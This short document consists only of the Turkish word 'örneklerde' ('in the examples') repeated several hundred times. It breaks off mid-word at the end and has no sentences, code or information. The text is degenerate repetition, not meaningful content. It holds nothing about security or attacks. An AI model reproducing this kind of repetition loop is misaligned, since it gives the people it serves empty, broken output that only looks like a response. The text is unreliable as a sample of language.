örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örneklerde örnek